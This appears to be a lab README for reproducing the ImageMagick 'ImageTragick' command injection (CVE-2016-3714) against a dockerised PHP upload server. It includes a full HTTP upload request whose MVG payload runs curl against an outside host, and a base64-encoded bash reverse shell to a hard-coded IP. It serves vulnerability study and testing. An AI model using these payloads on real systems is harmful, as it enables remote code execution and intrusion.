Aaron
63285f61aa
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65 lines
1.9 KiB
Markdown
65 lines
1.9 KiB
Markdown
# ImageMagick Imagetragick Command Injection (CVE-2016–3714)
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[中文版本(Chinese version)](README.zh-cn.md)
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ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images.
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In ImageMagick version before 6.9.3-9, insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats. The CVE-2016-3714 is also called "imagetragick".
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References:
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- <https://imagetragick.com>
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- <https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html>
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- <https://github.com/ImageTragick/PoCs>
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## Environment Setup
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Execute the following command to start a PHP server that includes ImageMagick 6.9.2-10:
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```
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docker compose up -d
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```
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## Exploit
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Visit `http://your-ip:8080/` to see an upload component.
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Send the following request:
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```
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POST / HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
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Connection: close
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
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Content-Length: 328
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------WebKitFormBoundarymdcbmdQR1sDse9Et
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Content-Disposition: form-data; name="file_upload"; filename="1.gif"
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Content-Type: image/png
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push graphic-context
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viewbox 0 0 640 480
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fill 'url(https://127.0.0.0/oops.jpg"|curl "www.leavesongs.com:8889)'
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pop graphic-context
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------WebKitFormBoundarymdcbmdQR1sDse9Et--
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```
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It can be seen that `www.leavesongs.com:8889` has received the http request, after the curl command was executed successfully:
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POC of getting a reverse shell：
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```
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push graphic-context
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viewbox 0 0 640 480
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fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjQzLjQ5Lzg4ODkgMD4mMQ== | base64 -d | bash`"||id " )'
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pop graphic-context
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```
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